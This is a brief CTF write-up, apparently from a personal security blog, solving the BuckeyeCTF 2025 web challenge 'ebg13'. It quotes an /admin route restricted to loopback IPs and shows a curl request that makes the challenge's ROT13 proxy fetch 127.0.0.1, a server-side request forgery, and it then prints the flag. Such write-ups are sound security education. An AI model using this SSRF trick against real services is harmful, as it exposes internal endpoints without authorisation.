ebg13 - BuckeyeCTF 2025

2025. 11. 9. 18:14·

Đề bài


Giải

Trong source code có đoạn kiểm tra sau

fastify.get('/admin', async (req, reply) => {
    if (req.ip === "127.0.0.1" || req.ip === "::1" || req.ip === "::ffff:127.0.0.1") {
      return reply.type('text/html').send(`Hello self! The flag is ${FLAG}.`)
    }

    return reply.type('text/html').send(`Hello ${req.ip}, I won't give you the flag!`)
})

Nếu mở /admin thì sẽ cần IP là 127.0.0.1 hoặc ::1 và ::ffff:127.0.0.1

┌──(kali㉿kali)-[/BuckeyeCTF 2025/beginner/ebg13]
└─$ curl https://ebg13.challs.pwnoh.io/ebj13?url=http://127.0.0.1:3000/admin
<html><head></head><body>Uryyb frys! Gur synt vf opgs{jung_unccraf_vs_v_hfr_guvf_jrofvgr_ba_vgfrys}.</body></html>

Flag

Flag: bctf{what_happens_if_i_use_this_website_on_itself}

'WriteUp > Web' 카테고리의 다른 글

Web - UofTCTF 2026  (2) 2026.01.13
Ramesses - BuckeyeCTF 2025  (0) 2025.11.09
5571  (0) 2025.11.04
Mark The Lyrics  (0) 2025.11.01
Tiny Flag  (0) 2025.11.01
'WriteUp/Web' Other posts in category
  • Web - UofTCTF 2026
  • Ramesses - BuckeyeCTF 2025
  • 5571
  • Mark The Lyrics
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9) N
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    Steganography
    Web
    BuckeyeCTF2025
    POCCTF2025
    CSCV2025
    misc
    V1tCTF2025
    EnigmaXplore3.0
    CTF
    OSINT
    picoCTF
    writeup
    htb
    CHH
    Forensics
    SunshineCTF2025
    Dreamhack
    PTITCTF2025
    Re
    THM
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
ebg13 - BuckeyeCTF 2025
Go to Top

티스토리툴바